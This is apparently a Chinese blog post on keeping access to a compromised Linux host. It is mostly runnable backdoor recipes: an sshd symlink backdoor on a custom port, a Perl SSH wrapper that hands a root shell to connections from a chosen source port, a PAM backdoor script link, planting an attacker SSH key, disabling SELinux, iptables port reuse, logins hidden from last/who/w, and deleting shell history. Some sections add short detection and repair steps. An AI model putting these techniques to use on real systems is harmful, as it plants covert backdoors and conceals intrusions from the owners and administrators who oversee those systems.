万网极研社

linux权限维持

2019-12-26  本文已影响0人  Instu

ssh软连接后门

  1. 利用
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345
root@kali:~# ssh root@192.168.80.147 -p 12345
  1. 检测
netstat -pantu  查看可疑端口
ls -al /tmp/su  查看软连接文件
  1. 修复
配置/etc/ssh/sshd_config
UsePAM no

PAM后门

https://github.com/litsand/shell/blob/master/pam.sh
image.png
stat /lib/security/pam_unix.so  #32位
stat /lib64/security/pam_unix.so  #64位

SSH wrapper后门

将原来的启动脚本/usr/sbin/sshd移动到/usr/bin/sshd,并新建启动脚本/usr/sbin/sshd。原理没太看明白,反正命令敲完socat就连上了...

  1. 目标机上配置
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
  1. 使用socat连接
socat STDIO TCP4:target_ip:22,sourceport=13377
  1. 检测

查看sshd文件

cat /usr/sbin/sshd
  1. 修复
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd /usr/sbin/sshd;

ssh免密登录

  1. Kali上执行
ssh-keygen -t rsa
  1. centos上执行
mkdir /root/.ssh
touch /root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh/
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
[root@localhost ~]# getenforce 
Enforcing
[root@localhost ~]# setenforce 0
[root@localhost ~]# getenforce 
Permissive
  1. 此时kali可免密登录centos
root@kali:~# ssh root@192.168.80.147
ssh -i /root/.ssh/id_rsa root@192.168.1.2
image.png

crontab定时任务

可利用cron的几个地方

端口复用

使用iptables判断来路ip来实现端口复用

iptables -t nat -I PREROUTING 1 -p tcp -s 攻击者的IP --dport 80 -j DNAT --to-destination 靶机的IP:22 

此时,攻击者的IP连接靶机的80端口,可登录靶机的SSH服务;其它机器可正常访问靶机的HTTP服务;攻击者的IP没法访问靶机的HTTP服务。

隐藏技术

  1. 隐身登录
    不会被last who w等命令检测到
ssh -p 22 -T root@192.168.80.150 /bin/bash -i
  1. 隐藏历史命令
set +o history 禁用历史命令功能
set -o history 重新开启历史命令
history -d 100 删除某一行命令

参考

https://www.secpulse.com/archives/100484.html
https://phyb0x.github.io/2018/10/23/linux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81-%E5%90%8E%E9%97%A8/

上一篇下一篇

猜你喜欢

热点阅读